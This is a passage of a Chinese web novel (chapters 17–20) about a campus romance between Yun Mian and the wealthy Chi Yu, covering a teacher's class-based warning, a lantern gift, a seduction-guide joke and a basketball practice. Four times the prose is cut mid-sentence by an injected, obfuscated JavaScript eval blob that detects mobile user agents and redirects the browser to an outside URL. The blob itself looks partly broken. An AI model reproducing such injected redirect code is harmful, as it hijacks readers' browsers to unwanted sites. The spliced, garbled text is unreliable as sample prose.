云眠反驳道：“我们成年了。” 班主任有些意外，转头看她：“啊？你以为我是来管你早恋的？” “大学谈恋爱很正常的呀，甚至我非常鼓励你们谈恋爱的。”她扶了扶眼镜，“上大学以来你一直是年级第一，而且也拿了很多竞赛的奖项，是个很优秀的女孩子。” 云眠：“谢谢老师。” “你知道我为什么找你么？”班主任神情多了几分认真，“你被举报了。” “有人特意给管贴吧的领导打了电话，说你因为个人私事占用公共资源，扰乱网络秩序，打扰到其他同学了。” 云眠一顿。 班主任观察着她的表情，补充道：“很荒唐的理由，对吧？不过既然我知道了，我肯定得找你谈话的。” “好了，我的话说完了，你可以回去了。” 云眠低了低头：“谢谢老师。” “不过——”班主任似乎工作很多，此时正盯着电脑，随口道，“迟郁那孩子说到底跟你不是一个阶级的。” 云眠动作一滞。 她仍然在继续说：“我也看过你的信息，普通家庭嘛，人家迟郁跟你肯定是不一样的，这种情况我见太多了，出于长辈的立场，我也得劝你一下。年轻人小打小闹可以，不能当真。” 这句话惊人的相似。 云眠起身的动作彻底停了下来，她坐了回去。 班主任见状，眼底闪过一丝诧异：“还有什么事？” “老师。” 云眠清亮的声音在空旷的办公室内响起。 “我不能保证他会一直喜欢我。” 班主任没出声。 “但只要他喜欢我，我就一定配得上他。” 云眠直直地对上她目光，坚定又不可摧。 “如果有人喜欢我，我想我该考虑的不是我能不能配得上他。” “而是——我喜不喜欢他。” - 灯光璀璨。 后街的商户最近又新研究了花灯，一个个整齐地摆放着，精巧的流苏垂下，发着五颜六色的光，很是好看。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621186|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 迟郁不顾其他同学的白眼，买光了所有的冰糖草莓，此时拎着个大袋子来回踱步，凑在摊子前研究花灯。 仔细一看，竟然有各种小动物的。小狗、小猫、小兔子……做得栩栩如生。 他垂着眼睛，仔细地找。 终于。 迟郁找到了蝴蝶花灯。 蝴蝶翅膀是镂空的，被灯芯缠绕贯穿着，虽不似其他动物版圆润可爱，但别有一番意趣。远远看起来颇像一只翅膀透明的蝴蝶，近看便发现它翅膀有漂亮纹理。 迟郁伸手，却恰巧碰到了同样来拿蝴蝶花灯的另一只手。 没有丝毫犹豫。 迟郁头都没转，干脆利落地拿起了唯一的花灯。 刚一拿起，便听到耳边传来清脆的笑声。 迟郁愣了一下，扭头便看到云眠站在他旁边，捂着嘴笑。 他脸一红，把花灯递了过去：“我刚刚没看到是你。” 云眠弯起眼角：“是根本没看吧，抢得好快。” 迟郁清了清嗓子：“嗯……我找了很久，怕被别人抢走了。” 云眠道：“那怎么现在又给我了？” 她晃了晃手中的花灯，淡粉色的光映得她漂亮又柔和。 “本来就是给你买的。” “哇！你们眼光独特啊。”老板生意不怎么样，原本正捧着手机玩，此时一个猛子起身蹿了过来，“全街只有这一个蝴蝶灯！” 迟郁：“是卖光了吗？” 老板哈哈大笑：“不。是太丑了所以只进了一个，如果你们不买我就得明年继续卖了。” 迟郁：“……” 付款时，迟郁的视线一直聚焦在云眠身上。他看见云眠垂眸，认真地端详着花灯，不免有些紧张。 云眠看了一会，抬头对上他目光，勾起嘴角：“好看，我很喜欢。” “有时候，我也觉得自己像没有翅膀的蝴蝶，这个有点像我。” 迟郁心里涌起一股莫名的感觉。 “不是的。” 云眠一愣。 “你不是没有翅膀的蝴蝶，你是可以飞向任何地方的蝴蝶。” 花灯轻轻摇晃，似是在应和。 耳边的嘈杂褪去，云眠只看见迟郁认真的眼睛。她视线闪了半天，突然仓促地低下头。 她是可以飞向任何地方的蝴蝶。 迟郁刚刚这么想吗？ 还是，一直都这么想？ 如果早一点听到这句话。 她是不是就有勇气，像反驳班主任一样，反驳高中的老师了。 云眠鼻尖一酸。 她以舞蹈特长生的身份免学费转去了首都一中，在云初芸彻底禁止她跳舞前，云眠一直在教室与音乐楼间穿梭，兼顾着文化课与艺术课，她做得很好，一直保持着双第一的成绩。 艺术老师教了她几个月，对她赞不绝口，从不吝啬夸奖，无数次直言云眠是她见过最有天赋最优秀的孩子。 直到她早恋被发现。 迟郁为了她跑来学艺术，不顾所有老师的阻拦。 艺术老师将她单独叫到音乐楼，傍晚的日光铺撒了一片波光粼粼，云眠听见她声音里是毫不掩饰的厌恶—— “说到底，你跟迟郁不是一路人啊。你就是普通家庭，而迟郁呢？你们根本不是一个阶级啊。” “要是因为你影响了迟郁的成绩，怎么办？” “你怎么能觉得自己配得上迟郁？” 18. 追她 身旁的云眠很长时间都没有回应他的话，只是半低着头，发丝被花灯映成粉色，一双温润如水的眼睛轻垂着。 她似乎一直在注视端详着花灯，像在思索什么。 慢慢的。 迟郁不免有些慌张。 他是不是说错话了？ 正在他思考该怎么开口时，云眠突然抬起头，撞入他流露着担忧的眼睛。 目光碰撞的瞬间，心底像有一根弦绷紧。 云眠看着他，轻轻勾了勾嘴角：“谢谢。” ——松开。 迟郁后知后觉：“谢什么？” 云眠眼神直白炽热，像要把他看穿，但最终只是轻摇了一下头：“没什么，谢谢你给我买花灯。” 话音刚落，她心中却泛起涟漪。 谢什么呢？ ……她也不知道。 终于从那段如被水淹没的回忆中探出头，得以喘息。 她才发现自己很久没有说话。 也许是，谢谢迟郁给她的第二份肯定吧。 云眠拿着花灯的右手缓缓放下，光线随之变暗。她用左手很小幅度地勾了下迟郁的手指。 但迟郁这次没有牵她。 云眠动作停滞了一下，转过身。 她一低眼，便看见他手里的一袋冰糖草莓，很大的袋子，满满的冰糖草莓，看起来十分壮观，十分的“迟郁风格”。 云眠一愣，皱了下眉：“……你这是？” 迟郁动作很快地把袋子换到另一只手：“虽然不是很多，但我把剩下的都买了。” 说完，他便伸手想去牵云眠。 指尖相触。 云眠立马抽回了手：“不是很多——你买了多少？” “没数。” 云眠：…… “我让老板全装起来了。” 迟郁带着几分无措：“……是不够么？下次我早来。” 云眠：…… “不是。”她揉了下眉心，“我就一张嘴，吃得完这么多吗？” 她突然有些头疼。 以前怎么没发现，迟郁这么浪费。 等一下。 之前，他好像也这样。 云眠随口一说喜欢吃草莓，他会在第二天把水果店的草莓搬空。随口一说想喝奶茶，如果没有指定哪一款，迟郁会全买一杯。 云眠吸了口气，看了他半天：“平时你想吃什么，也是这样买吗？” 迟郁没说话。 半晌，云眠正思考着该怎么处理这堆东西时，他突然开口：“……我平时什么也不想吃。” 他本就声音好听，磁性又低沉，此时像带着一抹委屈，显得很惹人怜爱。 “我只有跟你在一起，才买这种东西吃。” 云眠整个人愣在了原地。 好像确实如此。 在她认识迟郁的三年里，她从未听过迟郁说想吃什么，或者喜欢什么。 这种事情发生在家缠万贯的大少爷身上似乎太过荒谬。因此从前谈恋爱时，无数次他们并肩坐在小吃摊前，云眠问他喜欢吃什么，他答不出来，云眠都觉得他在逗自己玩。 当时的云眠配合地问:“那你现在想吃什么？” 迟郁思索半天道：“我都可以。” “那你平时吃什么？” “吃家里阿姨做的饭。” “……那你跟朋友出去玩吃什么？” “我只跟你出去玩过，吃你想吃的。” 云眠心里一顿。这个画面在她脑中再次循环播放了一次。 迟郁虽然人缘很好。 但好像——确实没听说过他有很好的朋友。 再结合上迟郁曾经莫名和她说“自己拯救了他”。 难道…… 见云眠又不说话了，迟郁心情也低落了下来，道：“……对不起。” 云眠没有回应。 事实上，她根本没听到迟郁在说什么。 此时此刻，她脑中波涛汹涌。 由于她并不熟悉迟郁的曾经，因此也没有多做揣测，只是觉得……以前怎么没发现迟郁这些鲜明的“特点”？ 买东西直接买所有的，出去玩不想排队拿钱赶人，种种。 云眠不由得笑出了声。 迟郁一颗心正惶惶不安，见她突然笑了一声，嘴角一僵，声音更软了：“……我不知道，对不起。” 云眠这才反应过来：“啊？怎么了？” “就是，我觉得你生气了。”迟郁道，“我下次不买这么多了，你别生气。” “好不好？” 云眠点头：“那你下次买多少？” 迟郁打开袋子看了一眼：“一半？” 盯着云眠的表情，他声音越来越大：“十根？六根？……三根？” 最终，迟少爷自信满满地说出口：“买一根。” 有点可爱。 云眠控制不住弯了弯嘴角：“可以。” 最终，在云眠的指导下，迟郁将冰糖草莓都分发给了路过的女生。 云眠站在不远处，看他发传单一般发着冰糖草莓，心里嫣然。 迟郁怎么，乖得可爱？ 全然不知自己在别人心中已经变成了乖宝宝的迟郁发完了最后一根冰糖草莓，扬起笑脸扭头看向云眠。 像在邀功。 云眠伸手想摸他头。 但在半路又转为牵了一下他手：“真棒。” 迟郁立马握住了她。 他眼睛明亮，嘴角露出梨涡：“云眠。” 云眠应了声。 “你现在喜欢我了吗？” “……”云眠沉默。 迟郁表情僵了一瞬，但很快便恢复正常，他手上用力，将云眠攥得更紧：“那我再加油。” “那……” 云眠心道不妙。 “你还记得，你说过的吗？” 下楼亲嘴。 今晚事情太多，她险些忘记。没想到迟郁一直记得。 云眠装模作样地看了看周围：“这里人太多了。” “我刚刚来的时候，看见那边没什么人。” 在她默不作声的过程中，迟郁已经往前走了一步，二人的距离瞬间被拉近，迟郁只要一低头，便可以抱住她。 迟郁垂眸：“你都答应我了，学姐。” “你还说我们是亲嘴搭子——” 云眠捂住了他的嘴。 可不到一秒，她便倏然收回手。 迟郁竟然亲她手心——！ 云眠脸一红，耳边泛起红晕，白皙的脸上格外娇嫩。 此时周围已经没什么人了。 迟郁俯身向她凑近，抱住了她胳膊。 云眠猛地后退了一大步。 她捂着脸，独自加快脚步往角落走去，只扔下一句话：“快点过来。” 迟郁看着她的背影，勾起嘴角。 - 第三次打瞌睡。 迟父终于忍无可忍，扬手一巴掌打醒了迟郁：“这么困还来看我干什么！” 迟郁揉了揉惺忪的睡眼，不慌不忙地伸了个懒腰，坐直身子面不改色地削起苹果。 迟父看笑了，抬手夺过他手中的刀：“可别削了吧，我怕你不小心把自己手指剁掉。” “……爸。”迟郁道，“我是年轻人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621187|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，觉多。” 迟父冷哼一声：“昨晚熬夜了吧！上了大学之后天天熬夜，照我说当时就不该考首都大学。” 见他突然提起这事，迟郁赶忙道：“没有啊，我很早睡的。” “……反正你得好好干啊，说到底你哥是捡来的，你才是我们家正统的继承人。” 迟郁连连点头。 知道今天要来医院看他爸，昨晚他本来很早便准备睡觉了。 但想起云眠的吻，他翻来覆去睡不着，干脆坐起身玩手机。刚一拿起，最高亮度的手机在黑夜里极具爆发力，晃得他眼睛生疼。 终于调好了亮度，他看见了屏幕上方划过的贴吧的消息提醒。 [爆！是谁领到了迟郁发的冰糖草莓呀？是我是我~] 迟郁一愣。 什么啊？这有什么好发的，竟然还能爆？ 评论已经过百，清一色的夸他人帅心善，大方，等等。 迟郁一滑到底，懒得继续看，刚想退出，便看见一条突兀的评论。 [88L：我在现场，女主角也在旁边呀~怎么感觉像他女朋友让他发的？可能是大少爷买多了吧hhh干脆分给路人] 女朋友。 迟郁给她点了个赞。 [89L：是买多了……我就在他后面排队，他直接全买走了！！！气死我了！！！！（不过没过多久就吃到免费的了谢谢少爷）] [90L：对哈哈哈是他女朋友让分的，我看到她女朋友在监工hhhhh怎么感觉很像训狗文学（不是）] 迟郁皱了一下眉。 训狗文学？是说他是狗吗？ 没关系，夸云眠了，先点个赞吧。 看见不少夸他和云眠甜的，迟郁嘴角扬得越来越高。 虽然云眠还没有喜欢上他。 但最起码……云眠喜欢上亲他了。 相信不久，他就可以从亲嘴搭子正式转为男朋友了。 [114L：后排出售《追女生绝招108式》！是不是担心你的crush不喜欢你？是不是在追女生的过程中连连受挫？是不是苦恼于怎么和她更进一步？一本书解决你所有问题！绝对管用！不管用包退！] 评论区都是要买的。 迟郁眼皮一跳。 这么管用？ 于是他点击发送私信：你好，怎么买。 [首都第一深情：99一本，不管用可退。] [cy1：ok] [首都第一深情：嫌贵9.9也行。] [首都第一深情：我草！] [对方撤回了一条消息] [对方撤回了一条消息] [首都第一深情：扫这儿。] 迟郁干脆利落地付了99。 对方发来了一本高达500MB的PDF，虽然名字有些出入，不是《追女生绝技108式》，而是《讨好女朋友108式》，但内容应该是一样的，迟郁没多在意。 下载好后，他点击打开—— 映入眼帘的是裸露着身体的动漫小人。 迟郁倏地关闭了手机。 几秒后，他又打开—— 各种不堪入目的姿势，看得他脸越来越红。 追女生……要这样吗？？ [首都第一深情：我草我草！发错了发错了！！！] 迟郁慢一拍地点了退出，再点击打开对方发来的《追女生绝技108式》。 第一式，诱惑。 想要追到喜欢的女生，重要的不是付出，而是诱惑。 具体方法：换个帅气的发型，换个帅气的衣服（最好是暴露的），发朋友圈。 19. 树荫 想要追云眠，必须先勾 发朋友圈？ 迟郁神情茫然了片刻。 他都好久没发过朋友圈了。 他动了动手指，退出贴吧，打开微信，随后点开了自己的朋友圈。 上次发还是跟云眠在一起的时候。 照片里的一男一女笑得明媚，云眠轻轻靠在他肩上，他们的发丝缠在一起，被阳光晒透。 迟郁看着仅有的几张照片，突然后悔当时没有多拍一些。 他以为，自己会和云眠永远在一起。 每张照片的评论区都有几位和他关系不错的朋友送上祝福，但他微信加的人很少，平时基本一条消息都收不到。迟郁此时翻着，只觉得时间过得太快，几乎不可查觉。 还好，云眠虽然不喜欢他了，但仍在他身边。 正在他望着照片出神时，屏幕上方再次划过一条消息。 [首都第一深情：那啥，兄弟，刚刚发你的那本你看了吗？] [cy1：？] [cy1：看了。] [首都第一深情：哦。] [首都第一深情：那本是绝密珍藏，原价299，既然是我发错了，那你再给我99呗~] [cy1：转账99元] 对话框沉寂了一秒。 [首都第一深情：我草！] [首都第一深情：你还真发！？] [cy1：？] [首都第一深情：你叫什么名字啊兄弟？？我一定要认识你。] 迟郁皱了下眉，干脆没回复。 又看了几秒钟照片后，他再次返回了《追女生绝技108式》。 第二式的前面写着——做完第一式后，我们就可以进行下一步了。 意思是——想要追云眠，必须先勾引云眠？ 不对，是诱惑。 迟大少爷第一次追人，不禁有些无措。 他开始庆幸曾经的云眠没有让他追，而是直接答应了他。 但下一秒，他便觉得自己这个想法非常可耻。 不会追人是他自己的问题，与云眠无关。 他一定会学会的。 然后，让云眠再次喜欢上他。 这样想着，迟郁心情大好，不禁勾起嘴角，在被子里翻了个身，随后又坐了起来。 最好是穿暴露的衣服——光着身子岂不是更暴露？ 因此，迟郁举起手机开始自拍，但不管怎么拍都很不满意。光线太过昏暗，拍起来根本看不清脸，只能看到白色的肚皮。 这也太丑了。 第二天，迟郁起了个大早，清晨的阳光照射着阳台，光线很好。 他挑了个角度，“咔嚓”了一张。 “我草！”门后突然传来一声尖叫。 迟郁一顿，把门扯开，只见徐帆蹲在门后，不知待了多久了，他一直没注意。 看着迟郁紧皱的眉头和明显不悦的表情，徐帆也愣了，又立马反应过来：“不是，你闻到了？？” “什么？” 徐帆没料到这个反应，倏地站了起来，手里还夹着根烟：“我寻思这么早你们都没起来……我就抽一根。” 迟郁点了点头，没继续说话。 这反应？ 徐帆不解，这还是迟郁吗？平时他一闻到烟味就爆炸，现在自己都杵他前面抽了，他都没什么反应。 带着疑惑，徐帆掐了烟，讪讪地凑上前：“迟郁，你起这么早干嘛呢？” 刚一打眼，他便看见了迟郁手机里的明晃晃的大块肌肉，整个人愣在了原地，视线来回飘了好几次。 啊？他眼花了？ 大少爷起这么早，竟然在阳台上拍裸照？ 虽然不是□□，但迟郁只穿了条运动裤，上半身光着，恰到好处的肌肉线条在屏幕里呼之欲出，看起来色情拉满，唯一不足的就是。 角度像屎。 迟大少爷长得这么帅，拍照技术竟然这么烂？ 迟郁完全没管他，一个人捏着手机又拍了半天。 终于，徐帆看不下去了，道：“要不，我来给你拍？” 闻言，迟郁终于转过头看了他一眼。 眼神带着几分不屑。 徐帆：“我很专业的！” 迟郁挑了一下眉。 “真的，你别不信我。”徐帆带着几分八卦问道，“不过你拍这玩意干嘛？” 迟郁思考了会儿：“诱惑。” “噗！！！”徐帆咳了一下，“诱惑谁？？” 他和迟郁对视着，想了一会，恍然大悟：“那天电玩城的女生？” 迟郁点了下头。 徐帆本来还想继续八卦，但实在难捱乐于助人的心，摩拳擦掌道：“这样，你先去找件衣服穿上。那女生一看就是稍微有点保守的比较乖巧的类型，你这样太暴露了，容易把人家吓跑，而且很低级。” 迟郁应了一声，准备进去穿衣服，徐帆再次叫住他：“这个衣服，也是有讲究的。不能太长，不能太短，不能太厚也不能太薄。最好是似露非露。” 见他似懂非懂，徐帆大手一挥：“背心有没？那种稍微宽松一点儿的。” “没有？那你穿我的吧。放心，知道你有点洁癖，这我刚买的，不脏。” 迟郁换好后走了出去。 徐帆瞥了他一眼，眼都直了。别的不说，迟郁身材也太好了，再加上无敌的脸，发到网上估计立马能成网红。 “那我先给你随便拍张啊。”徐帆道。 迟郁站在原地扫了他一眼。 “我去！”徐帆摁下了拍照键，“绝了，这也太帅了。” 照片里的迟郁穿着简单的背心，结实的肌肉若隐若现，他胳膊轻抬着，肌肉线条流畅又清晰，青筋隐隐可见，搭在栏杆上的手纤细修长，看起来温柔有力。 再加上一张帅得惨绝人寰的脸，视线轻轻扫向镜头，带着几分高傲与蔑视。 同样都是在破寝室，怎么有人一拍就像大片？ 徐帆心中哭泣，但还是继续道：“来，我再给你拍几张。” 迟郁看了一眼时间，突然打断他：“先不拍了。” 光顾着拍照，他差点忘了，今天要去医院，要是去晚了，迟父又得有意见。 “喂！喂！”迟父喊他，“想什么呢？” 迟郁回过神，忽然想起照片还没发。 “没什么。”他敷衍道，打开手机准备发送朋友圈，正巧看见了徐帆不久前发来的消息。 [徐帆：我忘跟你说了，你记得配上文案，松弛感一点的。] [cy：松弛感？] [徐帆：对，比如说：被舍友偷拍了~今天好热 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621188|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~什么什么的。] [cy：……] 迟郁无言以对，皱眉看了半天，最终还是发了张单纯的照片。 他都看镜头了，还说是偷拍，岂不是太傻逼了？ - “云眠。” “云眠！” 云眠正趴在桌子上补觉。这节课的老师太喜欢在讲课中夹杂自己的人生经历，因此她也没有抵抗住困意，没到下课便陷入了梦乡。 刚睡了不久，恍然之间，她隐约听见有人喊自己的名字。 声音由远及近，越来越大。 云眠眯了眯眼睛，慢悠悠地抬起头，只见付语容正朝她走来，嘴里还喊着她名字。 云眠愣了下：“你在叫我？” 付语容看着她透露着几分震惊的表情，没好气道：“不然呢？这里还有第二个云眠？” “有事吗？” “我叫你当然是有事啊！”付语容道，“你赶紧跟我出来，我有事找你。” 她语气太不客气。云眠皱眉，也没了什么好脾气：“你叫我出去我就要出去？有什么事就在这里说。” 付语容表情一僵，不自然地左右扫了几眼，压低声音道：“在这不能说，你先出来。” 她随即抬高了声音，带着几分怒火：“听说你最近跟迟郁走得很近？” 云眠有些意外。 走出教室后，付语容直直地走向天台，云眠只得跟了上去。 空旷的天台上，付语容终于停下了脚步，小声骂道：“草，在学校要找个没人的地方也太难了。” “什么事？你说吧。” 付语容转过身，翻了个白眼：“你急什么？迟郁在网上跟你表白了，你知道吗？” 云眠点头。 “你被举报了，你知道吗？” 云眠迟疑了一下，点头。 “真是恶心。”她带着几分生气和不屑道，“虽然我也看不惯你，但是跟老师举报这种行为太阴了。有什么事不能当面解决？” 云眠不懂她的意思，干脆没说话。 “你说句话啊？搞得好像皇上不急太监急似的。”付语容喊了一声。 “……是你举报的吗？”云眠问。 “你有病啊！”付语容愣了，语调也高了起来，“我会干这种事吗？亏我还想来提醒你。” 云眠反而对她笑了一下：“不是你就好。” 付语容动作一滞。 “我也很讨厌这种行为，所以不是你举报的就好。”云眠声音很轻，“我不想讨厌你。” 付语容彻底愣在了原地，张了张嘴但什么都没说，半天憋出来一句：“反正我没法直接跟你说举报人是谁，你自己小心点吧，别又被人抓了把柄。” “而且，我还是讨厌你。” 等她走后，云眠站着没动，嘴角弯了一下，笑容里带着几分得逞。 天台的景色不错。不远处便是操场，树荫环绕，在阳光下遮出一片阴凉，一群穿着篮球队服的人聚在树下喝水聊天，人行道上，骑着自行车的女生们头发被风吹起，勾勒出漂亮的痕迹。 云眠看了一会儿风景，低头拿出了手机。 朋友圈一栏很稀少地出现了迟郁的头像，她点开，下一秒，瞳孔骤然一缩。 不久前，迟郁发了一张很是风骚的照片。 20. 燥热 云眠手指一顿，退出又重进，反反复复看了很多遍，才终于确认——这真的是迟郁的账号。 她皱着脸，仔仔细细地端详了一下这张照片。 画面中的迟郁穿着款式宽松的背心，是他从未尝试过的风格，却意外合适。他的皮肤有着不同于这个年纪的男生的光滑细腻，明明同样是挥洒着汗水在操场上又跑又跳的学生，他却肤色匀称，白得突出，连青筋都若隐若现。 从前在高中，迟郁一直穿着校服，云眠从来不知道他的肩膀肌肉这么干练，恰到好处，在清晨阳光的照射下像盈了汗水，闪闪发光。流畅的肌肉线条，漂亮的肩窝，再往上是紧绷的脖颈肌肉，清晰又明显的喉结。 他随意地看向镜头，仅仅一个眼神，独属于迟郁的高傲便呼之欲出。风把他头发吹得轻轻飞起，几根碎发遮挡住饱满的额头。 迟郁的眉毛生得很英气，又带着股稚气，他嘴角轻轻勾起，柔和了凌厉的下颌线，反而添了抹少年气。 云眠深呼吸了一下。 她很想保存这张照片，但这个行为似乎很冒昧，更直白地说，这很变态。 偷偷存下迟郁露着肌肉的照片…… 云眠摇了摇头，她从未做过这种事情，实在是做不出来。 光是隔着屏幕望进他的眼睛，云眠的心跳就有些加快了，更别提如果某天翻相册时突然翻到他的照片，或者突然被别人看见。 带着几分仓皇地退出微信，云眠倚着栏杆望着远处的风景，此时校园内的行人非常多，来来往往，篮球场上人满为患，欢呼声甚至能传到她所在的楼顶。 是篮球比赛吗？云眠曾经听班长提起过，似乎是校级的比赛。 迟郁高中就会打篮球，他会参加吗？ 云眠的心思不由自主地又漂浮到了迟郁身上，眼前再次浮现起了那张照片。 可……迟郁为什么突然要在朋友圈发照片？ 云眠趴在围栏上，本想借着栏杆的温度缓和她逐渐上升的体温，却没想到钢制的围栏被日光暴晒得滚烫，她仅仅触碰了一秒钟便迅速把手抽回。 她突然有个想法。 难道……迟郁是在勾引她吗？ 似乎，也不是不可能。 云眠再次返回，心里有些波澜起伏。如果迟郁真的是在勾引她，那她还挺受用的。 正想着，云眠却愣了一下。 咦？ 她记得迟郁原本一直是三天可见的，并且因为他不经常发朋友圈，基本上可以说，他的朋友圈空无一物。 但现在，迟郁竟然开放了全部？ 躺在肌肉照下面的，便是他和迟郁的合照。 照片里他们紧挨着，头发交缠，两个人都笑得明媚又快乐，身后的阳光恰如其分地撒亮了屏幕。 云眠心脏揪了一下。 分手后，她主动删除了所有照片，此时倏地看见，心中不免有些泛酸，但同时也下定了某个决心。 其实，她和迟郁分开的理由，和现在不能在一起的理由，是一样的。 她要先爱上自己，才能拥有爱迟郁的勇气，和被迟郁爱的勇气。 而勇气，是一个很奇怪的东西。 它随着自己的出生而降临，却随着自己的长大而减少、消散，甚至需要费很大的力气才能把它找回。 既然已经确定了迟郁还在喜欢自己，那她也该毫不犹豫地去做能让她成长的事情了吧？ 云眠确信，她的人生短暂地走上了岔路，但她总该回到正轨。 在天台站了很长时间，这节课已经快要结束了，云眠打算回教室拿自己的书包。 手机振动了一下。 [hxhmmzmb：做好了吗^_^] [眠眠：啊，不好意思，还没。] [眠眠：我尽快。] [hxhmmzmb：没事没事，我只是随口一问。] [hxhmmzmb：对了，你跟那个男生……最近怎么样？] 话题转得这么生硬吗……？ [眠眠：还好。] 那边没有回复，似乎在斟酌什么。 云眠盯着屏幕，嘴角勾起了一个轻微地弧度。 [眠眠：托你的福，我们又亲了几次。] [hxhmmzmb：！] [hxhmmzmb：这样啊，我说的没错吧？] [hxhmmzmb：你说，他是不是喜欢你啊？] 对方秒回，随即立马发来了几条消息。云眠垂眸，抬起手遮挡了一下剧烈的阳光，单手打字。 [眠眠：我不知道。] [眠眠：要不你帮我分析一下？] [hxhmmzmb：好呀好呀，他是个什么样的人？] [眠眠：唔，别人都叫他少爷。] [hxhmmzmb：……] 云眠轻笑出声，隔着屏幕，她似乎能看见迟郁的错愕与无言。 没等她找补，对方竟又发来了消息。 [hxhmmzmb：那我应该不能帮你分析了，我怕不准确。毕竟，我也不是什么少爷。] [眠眠：是吗？] [hxhmmzmb：不过这个称号应该是戏谑吧？可能没有那么夸张。] [hxhmmzmb：你也不要因为别人地叫法对他有意见呀^V^] 几秒后。 [hxhmmzmb：我觉得我们两个应该家庭状况、三观啊什么的挺相似的，你没发现我们很聊得来吗？] 云眠挑了挑眉。 [hxhmmzmb：所以，如果你有其他的问题，觉得那个少爷不懂你，也可以找我呀！] [hxhmmzmb：……当然，我觉得他应该喜欢你。] 云眠没有回复，面无表情地收起了手机。 今天太阳太晒了，还是赶紧回教室吧。 - 没有收到回复的迟郁紧紧皱着眉头。 太明显了吗？ 他只是觉得，这样更能跟云眠聊得来，他不想让云眠跟别人倾诉什么心事。 他是不是太自作聪明了？ 迟郁捧着手机，陷入了沉思。 “喂！！迟郁！快点过来啊！干嘛呢你！”远远的一道声音传来，“就算是一吨水，现在也该喝完了吧！” 迟郁捏紧了手中的空矿泉水瓶，扔回了原地，回到球场之前，他再次看了一眼手机。 云眠还是没有回复。 草。 为什么超过两分钟就不能撤回了啊？ 他突然觉得自己的回复很傻逼，但他只是……不想听云眠那么叫自己。 谈了那么久恋爱，云眠对他的评价仅仅这一句吗？ 迟郁心情瞬间跌落了谷底。 “喂，你怎么了？”队长跑过来拍了拍他的肩膀，迟郁抬头看了他一眼。 这是那天来寝室找他参加比赛的男生，好像是叫王浩然。 王浩然见他没理自己，站在原地挠了挠头：“迟郁，你累了吗？我们可以待会再练。” 篮球赛在即，每个篮球场资源都很紧张，他们一群人一大早便来占位置，好不容易才占到了这一个场地。 迟郁自然知道不能停下训练，摇了摇头道：“我没事。” 王浩然重重地点头，下意识拍了一下迟郁的肩膀，转而又有点慌张。他知道迟郁不喜欢别碰自己，也不喜欢像别的男生一样勾肩搭背。 但此时的迟郁完全没注意他的动作，只是自顾自绕开他去了自己该去的位置。 王浩然挠头，招呼其他的队员：“好啦好啦，人齐啦，可以开始练了！” 人群立马簇拥上去。 一个留着寸头的男生已经 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16621189|187894||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把衣服脱了，突然窜到了王浩然的面前：“队长，那个谁刚刚说想跟我们对练。” “谁啊？” “也是隔壁宿舍的，是我们院另一支篮球队。”男生思索了片刻，“叫什么来着？李朝阳？” 王浩然猛地一拍手：“好啊！那就不用队内训练了，大家来pkpk！” 他立刻召集了队员们，飞快调整了队伍安排，随后和匆匆赶来的李朝阳一行人挥了挥手：“你好你好，隔壁宿舍的兄弟对吧？” 李朝阳扶了下眼镜，无视他伸过来的手：“对。” 王浩然尴尬地缩了回去：“哈哈，对。你不怎么爱说话啊？” 此时，跟李朝阳并排站着的男生突然伸出手拉住了他，声音很爽朗：“对，他这人比较孤僻，我是副队长。” “副队长？”王浩然目光顺着他望去，只见男生染着红色头发，长得倒是不错，“我是王浩然，你是？” “行不更名坐不改姓，首都第一深情，方琛。” 场上的人都是同一个院的，基本都互相认识，此时各自打了声招呼便分散站开。王浩然站在篮下，回过头张望着自己的队员们，一眨眼便发现了不对劲。 他望向旁边的树荫下，迟郁又站在那儿，赶紧喊道：“喂！迟郁！快点！” 正跟别人聊着天的方琛耳朵动了一下：“迟郁？” 不远处的迟郁此时正披着外套，单手捏着新的矿泉水。太热了，他刚从医院赶回来便被拽来参加训练赛，在和迟父聊了俩小时的天后，又在太阳底下打了半天篮球，早已口干舌燥。 他扯下蒙在头上的外套，随意地撇在旁边，全然没在意这外套价格昂贵。 